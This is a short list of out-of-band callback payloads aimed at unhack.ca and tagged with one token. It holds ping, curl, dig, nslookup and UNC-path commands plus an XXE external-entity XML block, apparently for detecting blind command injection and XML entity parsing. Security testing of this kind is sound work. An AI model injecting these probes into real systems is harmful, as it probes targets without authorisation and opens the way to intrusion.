$ ping -c1 -p 000dff037bb92c45a7364d8891826500 unhack.ca
 

$ curl http://unhack.ca/p/0dff037bb92c45a7364d88918265
 

$ dig 0dff037bb92c45a7364d88918265 @unhack.ca
 

$ dig 0dff037bb92c45a7364d88918265.ns.unhack.ca
 

C:\> nslookup 0dff037bb92c45a7364d88918265 unhack.ca
 

C:\> type \\unhack.ca\0dff037bb92c45a7364d88918265\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0dff037bb92c45a7364d88918265">]>
    <foo>&xxe;</foo>